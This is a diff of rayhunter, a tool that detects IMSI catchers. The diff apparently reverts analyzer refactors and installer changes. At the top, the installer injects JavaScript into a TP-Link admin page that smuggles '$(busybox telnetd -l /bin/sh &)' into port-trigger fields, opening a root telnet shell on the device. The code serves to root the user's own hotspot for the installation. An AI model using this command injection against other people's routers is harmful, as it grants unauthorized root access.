let mut data = BytesMut::from(data);
|
||||
// inject some javascript into the admin UI to get us a telnet shell.
|
||||
data.extend(br#";document.addEventListener("DOMContentLoaded", () => {
|
||||
console.log("rayhunter: start polling");
|
||||
|
||||
var rayhunterSleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
|
||||
|
||||
var rayhunterPoll = window.setInterval(async () => {
|
||||
Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 1, openPort: "2401", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start &)", triggerProtocol: "TCP"});
|
||||
console.log("rayhunter: first request succeeded, stopping rayhunter poll loop");
|
||||
window.clearInterval(rayhunterPoll);
|
||||
|
||||
// PTModel.add actually does not wait for the request to finsh.
|
||||
// Wait 1 second for the request to finish.
|
||||
// Running both requests concurrently can get one of the two requests rejected, as
|
||||
// sending a request with entryId: 2 is invalid if entryId 1 does not exist (yet)
|
||||
// This only happens starting with firmware M7350(EU)_V9_9.0.2 Build 241021, earlier
|
||||
// versions are not affected.
|
||||
await rayhunterSleep(1000);
|
||||
|
||||
console.log("rayhunter: running second request");
|
||||
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 2, openPort: "2402", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh &)", triggerProtocol: "TCP"});
|
||||
|
||||
// Do not use alert(), instead replace page with success message. Using alert() will
|
||||
// block the event loop in such a way that any background promises are blocked from
|
||||
// progress too. For example: The HTTP requests to register our port triggers!
|
||||
document.body.innerHTML = "<h1>Success! You can go back to the rayhunter installer.</h1>";
|
||||
}, 1000);
|
||||
});"#);
|
||||
data.extend(br#";window.rayhunterPoll = window.setInterval(() => {
|
||||
Globals.models.PTModel.add({applicationName: "rayhunter-root", enableState: 1, entryId: 1, openPort: "2300-2400", openProtocol: "TCP", triggerPort: "$(busybox telnetd -l /bin/sh)", triggerProtocol: "TCP"});
|
||||
Globals.models.PTModel.add({applicationName: "rayhunter-daemon", enableState: 1, entryId: 2, openPort: "2400-2500", openProtocol: "TCP", triggerPort: "$(/etc/init.d/rayhunter_daemon start)", triggerProtocol: "TCP"});
|
||||
alert("Success! You can go back to the rayhunter installer.");
|
||||
window.clearInterval(window.rayhunterPoll);
|
||||
}, 1000);"#);
|
||||
response = Response::from_parts(parts, Body::from(Bytes::from(data)));
|
||||
response.headers_mut().remove("Content-Length");
|
||||
}
|
||||
@@ -324,16 +276,6 @@ async fn handler(state: State<AppState>, mut req: Request) -> Result<Response, S
|
||||
}
|
||||
|
||||
async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
|
||||
if telnet_send_command(addr, "true", "exit code 0", true)
|
||||
.await
|
||||
.is_ok()
|
||||
{
|
||||
println!("telnet already appears to be running");
|
||||
return Ok(());
|
||||
}
|
||||
|
||||
let client: HttpProxyClient =
|
||||
hyper_util::client::legacy::Client::<(), ()>::builder(TokioExecutor::new())
|
||||
.build(HttpConnector::new());
|
||||
@@ -355,6 +297,8 @@ async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
|
||||
|
||||
let handle = tokio::spawn(async move { axum::serve(listener, app).await });
|
||||
|
||||
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
|
||||
|
||||
while telnet_send_command(addr, "true", "exit code 0", true)
|
||||
.await
|
||||
.is_err()
|
||||
@@ -362,9 +306,6 @@ async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
|
||||
sleep(Duration::from_millis(1000)).await;
|
||||
}
|
||||
|
||||
// give the JavaScript code some additional time to run and persist the port triggers.
|
||||
sleep(Duration::from_millis(1000)).await;
|
||||
|
||||
handle.abort();
|
||||
|
||||
Ok(())
|
||||
|
||||
+16
-64
@@ -18,11 +18,12 @@ macro_rules! echo {
|
||||
}
|
||||
pub(crate) use echo;
|
||||
|
||||
pub async fn telnet_send_command_with_output(
|
||||
pub async fn telnet_send_command(
|
||||
addr: SocketAddr,
|
||||
command: &str,
|
||||
expected_output: &str,
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<String> {
|
||||
) -> Result<()> {
|
||||
let stream = TcpStream::connect(addr).await?;
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
|
||||
@@ -68,19 +69,9 @@ pub async fn telnet_send_command_with_output(
|
||||
}
|
||||
})
|
||||
.await;
|
||||
let string = String::from_utf8_lossy(&read_buf).to_string();
|
||||
Ok(string)
|
||||
}
|
||||
|
||||
pub async fn telnet_send_command(
|
||||
addr: SocketAddr,
|
||||
command: &str,
|
||||
expected_output: &str,
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<()> {
|
||||
let output = telnet_send_command_with_output(addr, command, wait_for_prompt).await?;
|
||||
if !output.contains(expected_output) {
|
||||
bail!("{expected_output:?} not found in: {output}");
|
||||
let string = String::from_utf8_lossy(&read_buf);
|
||||
if !string.contains(expected_output) {
|
||||
bail!("{expected_output:?} not found in: {string}");
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -91,60 +82,30 @@ pub async fn telnet_send_file(
|
||||
payload: &[u8],
|
||||
wait_for_prompt: bool,
|
||||
) -> Result<()> {
|
||||
echo!("Sending file {filename}... ");
|
||||
let nc_output = {
|
||||
echo!("Sending file {filename} ... ");
|
||||
{
|
||||
let filename = filename.to_owned();
|
||||
let handle = tokio::spawn(async move {
|
||||
telnet_send_command_with_output(
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("nc -l -p 8081 >{filename}.tmp"),
|
||||
"",
|
||||
wait_for_prompt,
|
||||
)
|
||||
.await
|
||||
});
|
||||
|
||||
sleep(Duration::from_millis(100)).await;
|
||||
let mut addr = addr;
|
||||
addr.set_port(8081);
|
||||
|
||||
let mut stream;
|
||||
let mut attempts = 0;
|
||||
|
||||
loop {
|
||||
// wait for nc to become available, with exponential backoff.
|
||||
//
|
||||
// if the installer fails with connection refused, this
|
||||
// likely is not high enough.
|
||||
sleep(Duration::from_millis(100 * (1 << attempts))).await;
|
||||
|
||||
stream = TcpStream::connect(addr).await;
|
||||
attempts += 1;
|
||||
if stream.is_ok() || attempts > 3 {
|
||||
break;
|
||||
}
|
||||
|
||||
echo!("attempt {attempts}... ");
|
||||
}
|
||||
|
||||
{
|
||||
let mut stream = stream?;
|
||||
let mut stream = TcpStream::connect(addr).await?;
|
||||
stream.write_all(payload).await?;
|
||||
|
||||
// if the orbic is sluggish, we need for nc to write the data to disk before
|
||||
// terminating the connection. if we terminate the connection while there is unflushed
|
||||
// data, that data will just not be written from nc's buffer into OS disk buffer. the
|
||||
// symptom is mismatched md5 hashes.
|
||||
//
|
||||
// this is NOT fixed by calling fsync or similar, we're talking about dropped
|
||||
// application buffers here.
|
||||
sleep(Duration::from_millis(1000)).await;
|
||||
|
||||
// ensure that stream is dropped before we wait for nc to terminate.
|
||||
drop(stream);
|
||||
// ensure that stream is dropped before we wait for nc to terminate!
|
||||
}
|
||||
|
||||
handle.await??
|
||||
};
|
||||
|
||||
handle.await??;
|
||||
}
|
||||
let checksum = md5::compute(payload);
|
||||
telnet_send_command(
|
||||
addr,
|
||||
@@ -152,15 +113,7 @@ pub async fn telnet_send_file(
|
||||
&format!("{checksum:x} {filename}.tmp"),
|
||||
wait_for_prompt,
|
||||
)
|
||||
.await
|
||||
.with_context(|| {
|
||||
format!(
|
||||
"File transfer failed. nc command output: '{}'. Expected checksum: {:x}",
|
||||
nc_output.trim(),
|
||||
checksum
|
||||
)
|
||||
})?;
|
||||
|
||||
.await?;
|
||||
telnet_send_command(
|
||||
addr,
|
||||
&format!("mv {filename}.tmp {filename}"),
|
||||
@@ -168,7 +121,6 @@ pub async fn telnet_send_file(
|
||||
wait_for_prompt,
|
||||
)
|
||||
.await?;
|
||||
|
||||
println!("ok");
|
||||
Ok(())
|
||||
}
|
||||
|
||||
+1
-16
@@ -54,21 +54,6 @@ pub async fn activate_usb_debug(admin_ip: &str) -> Result<()> {
|
||||
let referer = format!("http://{admin_ip}/usbdebug.html");
|
||||
let origin = format!("http://{admin_ip}");
|
||||
|
||||
// Check if device is online
|
||||
echo!("Checking if device is online... ");
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
match client.get(&origin).send().await {
|
||||
Ok(response) if response.status().is_success() => println!("ok"),
|
||||
Ok(response) => anyhow::bail!(
|
||||
"Device at {admin_ip} returned error status: {}",
|
||||
response.status()
|
||||
),
|
||||
Err(e) => anyhow::bail!("Failed to reach device at {admin_ip}: {}", e),
|
||||
}
|
||||
|
||||
let _handle = tokio::spawn(async move {
|
||||
let client = reqwest::Client::builder()
|
||||
.timeout(Duration::from_secs(5))
|
||||
@@ -109,7 +94,7 @@ async fn wait_for_adb() -> Result<ADBUSBDevice> {
|
||||
|
||||
// UZ801 USB vendor and product IDs.
|
||||
// TODO: Research if other variants use different IDs.
|
||||
match ADBUSBDevice::new(0x05c6, 0x90b6) {
|
||||
match ADBUSBDevice::new_no_auth(0x05c6, 0x90b6) {
|
||||
Ok(mut device) => {
|
||||
// Test ADB connection
|
||||
if test_adb_connection(&mut device).await.is_ok() {
|
||||
|
||||
+1
-2
@@ -1,6 +1,6 @@
|
||||
[package]
|
||||
name = "rayhunter"
|
||||
version = "0.8.0"
|
||||
version = "0.6.1"
|
||||
edition = "2024"
|
||||
description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
|
||||
|
||||
@@ -26,6 +26,5 @@ futures = { version = "0.3.30", default-features = false }
|
||||
serde = { version = "1.0.197", features = ["derive"] }
|
||||
serde_json = "1.0"
|
||||
num_enum = "0.7.4"
|
||||
uds = { version = "0.4.2", features = ["tokio"] }
|
||||
|
||||
[dev-dependencies]
|
||||
|
||||
@@ -124,11 +124,7 @@ pub trait Analyzer {
|
||||
/// heuristic deems it relevant. Again, be mindful of any state your
|
||||
/// [Analyzer] updates per message, since it may be run over hundreds or
|
||||
/// thousands of them alongside many other [Analyzers](Analyzer).
|
||||
fn analyze_information_element(
|
||||
&mut self,
|
||||
ie: &InformationElement,
|
||||
packet_num: usize,
|
||||
) -> Option<Event>;
|
||||
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event>;
|
||||
|
||||
/// Returns a version number for this Analyzer. This should only ever
|
||||
/// increase in value, and do so whenever substantial changes are made to
|
||||
@@ -300,7 +296,6 @@ impl<'de> Deserialize<'de> for AnalysisRow {
|
||||
|
||||
pub struct Harness {
|
||||
analyzers: Vec<Box<dyn Analyzer + Send>>,
|
||||
packet_num: usize,
|
||||
}
|
||||
|
||||
impl Default for Harness {
|
||||
@@ -313,7 +308,6 @@ impl Harness {
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
analyzers: Vec::new(),
|
||||
packet_num: 0,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -334,15 +328,15 @@ impl Harness {
|
||||
}
|
||||
|
||||
if analyzer_config.nas_null_cipher {
|
||||
harness.add_analyzer(Box::new(NasNullCipherAnalyzer {}))
|
||||
harness.add_analyzer(Box::new(NasNullCipherAnalyzer::new()))
|
||||
}
|
||||
|
||||
if analyzer_config.incomplete_sib {
|
||||
harness.add_analyzer(Box::new(IncompleteSibAnalyzer {}))
|
||||
harness.add_analyzer(Box::new(IncompleteSibAnalyzer::new()))
|
||||
}
|
||||
|
||||
if analyzer_config.test_analyzer {
|
||||
harness.add_analyzer(Box::new(TestAnalyzer {}))
|
||||
harness.add_analyzer(Box::new(TestAnalyzer::new()))
|
||||
}
|
||||
|
||||
harness
|
||||
@@ -353,8 +347,6 @@ impl Harness {
|
||||
}
|
||||
|
||||
pub fn analyze_pcap_packet(&mut self, packet: EnhancedPacketBlock) -> AnalysisRow {
|
||||
self.packet_num += 1;
|
||||
|
||||
let epoch = DateTime::parse_from_rfc3339("1980-01-06T00:00:00-00:00").unwrap();
|
||||
let mut row = AnalysisRow {
|
||||
packet_timestamp: Some(epoch + packet.timestamp),
|
||||
@@ -391,8 +383,6 @@ impl Harness {
|
||||
pub fn analyze_qmdl_messages(&mut self, container: MessagesContainer) -> Vec<AnalysisRow> {
|
||||
let mut rows = Vec::new();
|
||||
for maybe_qmdl_message in container.into_messages() {
|
||||
self.packet_num += 1;
|
||||
|
||||
rows.push(AnalysisRow {
|
||||
packet_timestamp: None,
|
||||
skipped_message_reason: None,
|
||||
@@ -434,21 +424,10 @@ impl Harness {
|
||||
rows
|
||||
}
|
||||
|
||||
fn analyze_information_element(&mut self, ie: &InformationElement) -> Vec<Option<Event>> {
|
||||
// This method is private because incrementing packet_num is currently handled entirely by the other
|
||||
// methods that call this one. This could be changed with some careful refactoring, but
|
||||
// while this method is only used by other Harness methods, let's keep it private to help
|
||||
// ensure we always bump packet_num exactly once for each processed packet.
|
||||
let packet_str = format!(" (packet {})", self.packet_num);
|
||||
pub fn analyze_information_element(&mut self, ie: &InformationElement) -> Vec<Option<Event>> {
|
||||
self.analyzers
|
||||
.iter_mut()
|
||||
.map(|analyzer| {
|
||||
let mut maybe_event = analyzer.analyze_information_element(ie, self.packet_num);
|
||||
if let Some(ref mut event) = maybe_event {
|
||||
event.message.push_str(&packet_str);
|
||||
}
|
||||
maybe_event
|
||||
})
|
||||
.map(|analyzer| analyzer.analyze_information_element(ie))
|
||||
.collect()
|
||||
}
|
||||
|
||||
|
||||
@@ -25,11 +25,7 @@ impl Analyzer for ConnectionRedirect2GDowngradeAnalyzer {
|
||||
1
|
||||
}
|
||||
|
||||
fn analyze_information_element(
|
||||
&mut self,
|
||||
ie: &InformationElement,
|
||||
_packet_num: usize,
|
||||
) -> Option<Event> {
|
||||
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
|
||||
if let InformationElement::LTE(lte_ie) = ie
|
||||
&& let LteInformationElement::DlDcch(msg_cont) = &**lte_ie
|
||||
&& let DL_DCCH_MessageType::C1(c1) = &msg_cont.message
|
||||
|
||||
@@ -23,6 +23,7 @@ pub enum State {
|
||||
}
|
||||
|
||||
pub struct ImsiRequestedAnalyzer {
|
||||
packet_num: usize,
|
||||
state: State,
|
||||
timeout_counter: usize,
|
||||
flag: Option<Event>,
|
||||
@@ -37,19 +38,20 @@ impl Default for ImsiRequestedAnalyzer {
|
||||
impl ImsiRequestedAnalyzer {
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
packet_num: 0,
|
||||
state: State::Unattached,
|
||||
timeout_counter: 0,
|
||||
flag: None,
|
||||
}
|
||||
}
|
||||
|
||||
fn transition(&mut self, next_state: State, packet_num: usize) {
|
||||
fn transition(&mut self, next_state: State) {
|
||||
match (&self.state, &next_state) {
|
||||
// Reset timeout on successful auth
|
||||
(_, State::AuthAccept) => {
|
||||
debug!(
|
||||
"reset timeout counter at {} due to auth accept (frame {})",
|
||||
self.timeout_counter, packet_num
|
||||
self.timeout_counter, self.packet_num
|
||||
);
|
||||
self.timeout_counter = 0;
|
||||
}
|
||||
@@ -58,7 +60,10 @@ impl ImsiRequestedAnalyzer {
|
||||
(State::AuthAccept, State::IdentityRequest) => {
|
||||
self.flag = Some(Event {
|
||||
event_type: EventType::High,
|
||||
message: "Identity requested after auth request".to_string(),
|
||||
message: format!(
|
||||
"Identity requested after auth request (frame {})",
|
||||
self.packet_num
|
||||
),
|
||||
});
|
||||
}
|
||||
|
||||
@@ -66,7 +71,10 @@ impl ImsiRequestedAnalyzer {
|
||||
(State::Disconnect, State::IdentityRequest) => {
|
||||
self.flag = Some(Event {
|
||||
event_type: EventType::High,
|
||||
message: "Identity requested without Attach Request".to_string(),
|
||||
message: format!(
|
||||
"Identity requested without Attach Request (frame {})",
|
||||
self.packet_num
|
||||
),
|
||||
});
|
||||
}
|
||||
|
||||
@@ -74,7 +82,10 @@ impl ImsiRequestedAnalyzer {
|
||||
(State::IdentityRequest, State::Disconnect) => {
|
||||
self.flag = Some(Event {
|
||||
event_type: EventType::High,
|
||||
message: "Disconnected after Identity Request without Auth Accept".to_string(),
|
||||
message: format!(
|
||||
"Disconnected after Identity Request without Auth Accept (frame {})",
|
||||
self.packet_num
|
||||
),
|
||||
});
|
||||
}
|
||||
|
||||
@@ -82,7 +93,11 @@ impl ImsiRequestedAnalyzer {
|
||||
(_, State::IdentityRequest) => {
|
||||
self.flag = Some(Event {
|
||||
event_type: EventType::Informational,
|
||||
message: "Identity Request happened but its not suspicious yet.".to_string(),
|
||||
message: format!(
|
||||
"Identity Request happened but its not suspicious yet. (frame {})",
|
||||
self.packet_num
|
||||
)
|
||||
.to_string(),
|
||||
});
|
||||
self.timeout_counter = 0;
|
||||
}
|
||||
@@ -91,7 +106,7 @@ impl ImsiRequestedAnalyzer {
|
||||
_ => {
|
||||
debug!(
|
||||
"Transition from {:?} to {:?} at {}",
|
||||
self.state, next_state, packet_num
|
||||
self.state, next_state, self.packet_num
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -114,31 +129,29 @@ impl Analyzer for ImsiRequestedAnalyzer {
|
||||
3
|
||||
}
|
||||
|
||||
fn analyze_information_element(
|
||||
&mut self,
|
||||
ie: &InformationElement,
|
||||
packet_num: usize,
|
||||
) -> Option<Event> {
|
||||
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
|
||||
self.packet_num += 1;
|
||||
|
||||
if let InformationElement::LTE(inner) = ie {
|
||||
match &**inner {
|
||||
LteInformationElement::NAS(payload) => match payload {
|
||||
NASMessage::EMMMessage(EMMMessage::EMMExtServiceRequest(_))
|
||||
| NASMessage::EMMMessage(EMMMessage::EMMAttachRequest(_)) => {
|
||||
self.transition(State::AttachRequest, packet_num);
|
||||
self.transition(State::AttachRequest);
|
||||
}
|
||||
NASMessage::EMMMessage(EMMMessage::EMMIdentityRequest(_)) => {
|
||||
self.transition(State::IdentityRequest, packet_num);
|
||||
self.transition(State::IdentityRequest);
|
||||
}
|
||||
NASMessage::EMMMessage(EMMMessage::EMMAttachComplete(_))
|
||||
| NASMessage::EMMMessage(EMMMessage::EMMAuthenticationResponse(_)) => {
|
||||
self.transition(State::AuthAccept, packet_num);
|
||||
self.transition(State::AuthAccept);
|
||||
}
|
||||
NASMessage::EMMMessage(EMMMessage::EMMServiceReject(_))
|
||||
| NASMessage::EMMMessage(EMMMessage::EMMAttachReject(_))
|
||||
| NASMessage::EMMMessage(EMMMessage::EMMDetachRequestMO(_))
|
||||
| NASMessage::EMMMessage(EMMMessage::EMMDetachRequestMT(_))
|
||||
| NASMessage::EMMMessage(EMMMessage::EMMTrackingAreaUpdateReject(_)) => {
|
||||
self.transition(State::Disconnect, packet_num);
|
||||
self.transition(State::Disconnect);
|
||||
}
|
||||
_ => {}
|
||||
},
|
||||
@@ -148,7 +161,7 @@ impl Analyzer for ImsiRequestedAnalyzer {
|
||||
| UL_CCCH_MessageType::C1(
|
||||
UL_CCCH_MessageType_c1::RrcConnectionReestablishmentRequest(_),
|
||||
) => {
|
||||
self.transition(State::AttachRequest, packet_num);
|
||||
self.transition(State::AttachRequest);
|
||||
}
|
||||
_ => {}
|
||||
},
|
||||
@@ -158,7 +171,7 @@ impl Analyzer for ImsiRequestedAnalyzer {
|
||||
_,
|
||||
)) = rrc_payload.message
|
||||
{
|
||||
self.transition(State::Disconnect, packet_num)
|
||||
self.transition(State::Disconnect)
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
@@ -169,12 +182,16 @@ impl Analyzer for ImsiRequestedAnalyzer {
|
||||
self.timeout_counter += 1;
|
||||
debug!(
|
||||
"timeout: counter {}, packet: {}",
|
||||
self.timeout_counter, packet_num
|
||||
self.timeout_counter, self.packet_num
|
||||
);
|
||||
if self.timeout_counter >= TIMEOUT_THRESHHOLD {
|
||||
self.flag = Some(Event {
|
||||
event_type: EventType::Informational {},
|
||||
message: "Identity request happened without auth request followup".to_string(),
|
||||
message: format!(
|
||||
"Identity request happened without auth request followup (frame {})",
|
||||
self.packet_num
|
||||
)
|
||||
.to_string(),
|
||||
});
|
||||
self.timeout_counter = 0;
|
||||
}
|
||||
|
||||
@@ -5,7 +5,21 @@ use telcom_parser::lte_rrc::{BCCH_DL_SCH_MessageType, BCCH_DL_SCH_MessageType_c1
|
||||
use super::analyzer::{Analyzer, Event, EventType};
|
||||
use super::information_element::{InformationElement, LteInformationElement};
|
||||
|
||||
pub struct IncompleteSibAnalyzer {}
|
||||
pub struct IncompleteSibAnalyzer {
|
||||
packet_num: usize,
|
||||
}
|
||||
|
||||
impl Default for IncompleteSibAnalyzer {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
impl IncompleteSibAnalyzer {
|
||||
pub fn new() -> Self {
|
||||
Self { packet_num: 0 }
|
||||
}
|
||||
}
|
||||
|
||||
impl Analyzer for IncompleteSibAnalyzer {
|
||||
fn get_name(&self) -> Cow<'_, str> {
|
||||
@@ -17,14 +31,12 @@ impl Analyzer for IncompleteSibAnalyzer {
|
||||
}
|
||||
|
||||
fn get_version(&self) -> u32 {
|
||||
2
|
||||
1
|
||||
}
|
||||
|
||||
fn analyze_information_element(
|
||||
&mut self,
|
||||
ie: &InformationElement,
|
||||
_packet_num: usize,
|
||||
) -> Option<Event> {
|
||||
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
|
||||
self.packet_num += 1;
|
||||
|
||||
if let InformationElement::LTE(lte_ie) = ie
|
||||
&& let LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie
|
||||
&& let BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message
|
||||
@@ -32,8 +44,11 @@ impl Analyzer for IncompleteSibAnalyzer {
|
||||
&& sib1.scheduling_info_list.0.len() < 2
|
||||
{
|
||||
return Some(Event {
|
||||
event_type: EventType::Informational,
|
||||
message: "SIB1 scheduling info list was malformed".to_string(),
|
||||
event_type: EventType::Medium,
|
||||
message: format!(
|
||||
"SIB1 scheduling info list was malformed (packet {})",
|
||||
self.packet_num
|
||||
),
|
||||
});
|
||||
}
|
||||
None
|
||||
|
||||
@@ -7,7 +7,21 @@ use pycrate_rs::nas::generated::emm::emm_security_mode_command::NASSecAlgoCiphAl
|
||||
use super::analyzer::{Analyzer, Event, EventType};
|
||||
use super::information_element::{InformationElement, LteInformationElement};
|
||||
|
||||
pub struct NasNullCipherAnalyzer {}
|
||||
pub struct NasNullCipherAnalyzer {
|
||||
packet_num: usize,
|
||||
}
|
||||
|
||||
impl Default for NasNullCipherAnalyzer {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
impl NasNullCipherAnalyzer {
|
||||
pub fn new() -> Self {
|
||||
Self { packet_num: 0 }
|
||||
}
|
||||
}
|
||||
|
||||
impl Analyzer for NasNullCipherAnalyzer {
|
||||
fn get_name(&self) -> Cow<'_, str> {
|
||||
@@ -24,11 +38,8 @@ impl Analyzer for NasNullCipherAnalyzer {
|
||||
1
|
||||
}
|
||||
|
||||
fn analyze_information_element(
|
||||
&mut self,
|
||||
ie: &InformationElement,
|
||||
_packet_num: usize,
|
||||
) -> Option<Event> {
|
||||
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
|
||||
self.packet_num += 1;
|
||||
let payload = match ie {
|
||||
InformationElement::LTE(inner) => match &**inner {
|
||||
LteInformationElement::NAS(payload) => payload,
|
||||
@@ -42,7 +53,10 @@ impl Analyzer for NasNullCipherAnalyzer {
|
||||
{
|
||||
return Some(Event {
|
||||
event_type: EventType::High,
|
||||
message: "NAS Security mode command requested null cipher".to_string(),
|
||||
message: format!(
|
||||
"NAS Security mode command requested null cipher(packet {})",
|
||||
self.packet_num
|
||||
),
|
||||
});
|
||||
}
|
||||
None
|
||||
|
||||
@@ -131,11 +131,7 @@ impl Analyzer for NullCipherAnalyzer {
|
||||
1
|
||||
}
|
||||
|
||||
fn analyze_information_element(
|
||||
&mut self,
|
||||
ie: &InformationElement,
|
||||
_packet_num: usize,
|
||||
) -> Option<Event> {
|
||||
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
|
||||
let dcch_msg = match ie {
|
||||
InformationElement::LTE(lte_ie) => match &**lte_ie {
|
||||
LteInformationElement::DlDcch(dcch_msg) => dcch_msg,
|
||||
|
||||
@@ -49,7 +49,6 @@ impl Analyzer for LteSib6And7DowngradeAnalyzer {
|
||||
fn analyze_information_element(
|
||||
&mut self,
|
||||
ie: &InformationElement,
|
||||
_packet_num: usize,
|
||||
) -> Option<super::analyzer::Event> {
|
||||
let sibs = &self.unpack_system_information(ie)?.0;
|
||||
for sib in sibs {
|
||||
|
||||
@@ -6,7 +6,21 @@ use super::analyzer::{Analyzer, Event, EventType};
|
||||
use super::information_element::{InformationElement, LteInformationElement};
|
||||
use deku::bitvec::*;
|
||||
|
||||
pub struct TestAnalyzer {}
|
||||
pub struct TestAnalyzer {
|
||||
packet_num: usize,
|
||||
}
|
||||
|
||||
impl Default for TestAnalyzer {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
impl TestAnalyzer {
|
||||
pub fn new() -> Self {
|
||||
Self { packet_num: 0 }
|
||||
}
|
||||
}
|
||||
|
||||
impl Analyzer for TestAnalyzer {
|
||||
fn get_name(&self) -> Cow<'_, str> {
|
||||
@@ -23,11 +37,9 @@ impl Analyzer for TestAnalyzer {
|
||||
1
|
||||
}
|
||||
|
||||
fn analyze_information_element(
|
||||
&mut self,
|
||||
ie: &InformationElement,
|
||||
_packet_num: usize,
|
||||
) -> Option<Event> {
|
||||
fn analyze_information_element(&mut self, ie: &InformationElement) -> Option<Event> {
|
||||
self.packet_num += 1;
|
||||
|
||||
if let InformationElement::LTE(lte_ie) = ie
|
||||
&& let LteInformationElement::BcchDlSch(sch_msg) = &**lte_ie
|
||||
&& let BCCH_DL_SCH_MessageType::C1(c1) = &sch_msg.message
|
||||
@@ -38,32 +50,23 @@ impl Analyzer for TestAnalyzer {
|
||||
.cell_identity
|
||||
.0
|
||||
.as_bitslice()
|
||||
.load_be::<u32>();
|
||||
.load::<u32>();
|
||||
let plmn = &sib1.cell_access_related_info.plmn_identity_list.0;
|
||||
let mcc_string: String;
|
||||
|
||||
// MCC are always 3 digits
|
||||
if let Some(mcc) = &plmn[0].plmn_identity.mcc {
|
||||
mcc_string = format!("{}{}{}", mcc.0[0].0, mcc.0[1].0, mcc.0[2].0);
|
||||
} else {
|
||||
mcc_string = "nomcc".to_string();
|
||||
}
|
||||
let mnc = &plmn[0].plmn_identity.mnc;
|
||||
let mnc_string: String;
|
||||
// MNC can be 2 or 3 digits
|
||||
if mnc.0.len() == 3 {
|
||||
mnc_string = format!("{}{}{}", mnc.0[0].0, mnc.0[1].0, mnc.0[2].0);
|
||||
} else if mnc.0.len() == 2 {
|
||||
mnc_string = format!("{}{}", mnc.0[0].0, mnc.0[1].0);
|
||||
} else {
|
||||
mnc_string = format!("{:?}", mnc.0);
|
||||
}
|
||||
let mnc_string: String = format!("{}{}{}", mnc.0[0].0, mnc.0[1].0, mnc.0[2].0);
|
||||
|
||||
return Some(Event {
|
||||
event_type: EventType::Low,
|
||||
message: format!(
|
||||
"SIB1 received CID: {}, PLMN: {}-{}",
|
||||
cid, mcc_string, mnc_string
|
||||
"SIB1 received (packet {}) CID: {}, PLMN: {}-{}",
|
||||
self.packet_num, cid, mcc_string, mnc_string
|
||||
),
|
||||
});
|
||||
}
|
||||
|
||||
+32
-71
@@ -8,8 +8,6 @@ use crate::{Device, log_codes};
|
||||
use deku::prelude::*;
|
||||
use futures::TryStream;
|
||||
use log::{debug, error, info};
|
||||
use uds::UnixSocketAddr;
|
||||
use uds::tokio::UnixSeqpacketConn;
|
||||
use std::io::ErrorKind;
|
||||
use std::os::fd::AsRawFd;
|
||||
use std::time::Duration;
|
||||
@@ -81,13 +79,8 @@ const DIAG_IOCTL_SWITCH_LOGGING: u64 = 7;
|
||||
#[cfg(all(not(target_env = "musl"), target_arch = "aarch64"))]
|
||||
const DIAG_IOCTL_SWITCH_LOGGING: u64 = 7;
|
||||
|
||||
enum DiagIO {
|
||||
File(File),
|
||||
Socket(UnixSeqpacketConn),
|
||||
}
|
||||
|
||||
pub struct DiagDevice {
|
||||
file: DiagIO,
|
||||
file: File,
|
||||
read_buf: Vec<u8>,
|
||||
use_mdm: i32,
|
||||
}
|
||||
@@ -136,32 +129,22 @@ impl DiagDevice {
|
||||
}
|
||||
|
||||
async fn try_new(configured_device: &Device) -> DiagResult<Self> {
|
||||
if tokio::fs::try_exists("/dev/diag").await.unwrap() {
|
||||
let diag_file = File::options()
|
||||
.read(true)
|
||||
.write(true)
|
||||
.open("/dev/diag")
|
||||
.await
|
||||
.map_err(DiagDeviceError::OpenDiagDeviceError)?;
|
||||
let diag_file = File::options()
|
||||
.read(true)
|
||||
.write(true)
|
||||
.open("/dev/diag")
|
||||
.await
|
||||
.map_err(DiagDeviceError::OpenDiagDeviceError)?;
|
||||
let fd = diag_file.as_raw_fd();
|
||||
|
||||
let fd = diag_file.as_raw_fd();
|
||||
enable_frame_readwrite(fd, MEMORY_DEVICE_MODE, configured_device)?;
|
||||
enable_frame_readwrite(fd, MEMORY_DEVICE_MODE, configured_device)?;
|
||||
let use_mdm = determine_use_mdm(fd)?;
|
||||
|
||||
Ok(DiagDevice {
|
||||
read_buf: vec![0; BUFFER_LEN],
|
||||
file: DiagIO::File(diag_file),
|
||||
use_mdm: determine_use_mdm(fd)?,
|
||||
})
|
||||
} else {
|
||||
let addr = UnixSocketAddr::new(&[0; 108]).unwrap();
|
||||
let socket = uds::tokio::UnixSeqpacketConn::connect_addr(&addr).unwrap();
|
||||
|
||||
Ok(DiagDevice {
|
||||
